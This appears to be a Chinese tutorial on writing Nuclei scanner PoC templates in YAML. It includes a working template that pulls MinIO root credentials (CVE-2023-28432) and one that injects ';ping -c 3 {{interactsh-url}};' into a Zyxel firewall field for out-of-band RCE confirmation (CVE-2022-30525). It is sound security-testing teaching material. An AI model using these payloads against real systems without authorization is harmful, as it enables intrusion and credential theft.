漏扫项目篇&Poc开发&Yaml语法&插件一键生成&匹配结果&交互提取
#Nuclei-Poc开发-环境配置&编写流程
1、开发环境:Vscode+Yaml插件
https://code.visualstudio.com/
2、开发文档参考资料:
https://docs.nuclei.sh/template-guide/introduction
https://blog.csdn.net/qq_41315957/article/details/126594572
https://blog.csdn.net/qq_41315957/article/details/126594670
#Nuclei-Poc开发-Yaml语法&匹配提取
YAML是一种数据序列化语言,它的基本语法规则注意如下:
-大小写敏感
-使用缩进表示层级关系
-缩进时不允许使用Tab键,只允许使用空格。
-缩进的空格数目不重要,只要相同层级的元素左侧对齐即可
Yaml Poc模版:
1、编号 id
2、信息 info
3、请求 http file tcp等
4、匹配 matchers Interactsh
5、提取 extractors
开发流程:
0、poc模版套用修改
1、poc创建独立编号
2、poc填入详细信息
3、poc提交协议流程编写
4、poc结果匹配模式判断
5、poc结果提取模式判断
案例1:CVE-2023-28432 (匹配结果)
https://github.com/vulhub/vulhub/blob/master/minio/CVE-2023-28432/README.zh-cn.md
id: CVE-2023-28432
info:
name: MinIO集群模式信息泄露漏洞(CVE-2023-28432)
author: xiaodisec
severity: low
description: 在其RELEASE.2023-03-20T20-16-18Z版本(不含)以前,集群模式部署下存在一处信息泄露漏洞,攻击者可以通过发送一个POST数据包获取进程所有的环境变量,其中就包含账号密码MINIO_SECRET_KEY和MINIO_ROOT_PASSWORD。
reference:
- https://github.com/vulhub/vulhub/blob/master/minio/CVE-2023-28432/README.zh-cn.md
tags: MinIO,CVE
http:
- raw:
- |
POST /minio/bootstrap/v1/verify HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
matchers:
- type: word
part: body
words:
- '"MINIO_ROOT_PASSWORD":'
- '"MINIO_ROOT_USER":'
- '"MinioEnv":'
condition: and
案例2:CVE-2022-30525(匹配交互)
https://blog.csdn.net/weixin_43080961/article/details/124776553
id: CVE-2022-30525
info:
name: Zyxel 防火墙远程命令注入漏洞
author: xiaodisec
severity: high
description: 该漏洞影响支持零接触配置 (ZTP) 的 Zyxel 防火墙,其中包括 ATP 系列、VPN 系列和 USG FLEX 系列(包括 USG20-VPN 和 USG20W-VPN)。该漏洞标识为 CVE-2022-30525,允许未经身份验证的远程攻击者以nobody受影响设备上的用户身份执行任意代码。
reference:
- https://blog.csdn.net/weixin_43080961/article/details/124776553
tags: zyxel,cve,rce
http:
- raw:
- |
POST /ztp/cgi-bin/handler HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"command":"setWanPortSt","proto":"dhcp","port":"4","vlan_tagged":"1","vlanid":"5","mtu":"{{exploit}}","data":"hi"}
payloads:
exploit:
- ";ping -c 3 {{interactsh-url}};"
matchers:
- type: word
part: interactsh_protocol
name: dns
words:
- "dns"
#Nuclei-Poc开发-BurpSuite模版生成插件
https://github.com/projectdiscovery/nuclei-burp-plugin
1、导入或商店安装
2、配置插件路径信息
3、数据包选择生成模版
4、修改模版信息测试提交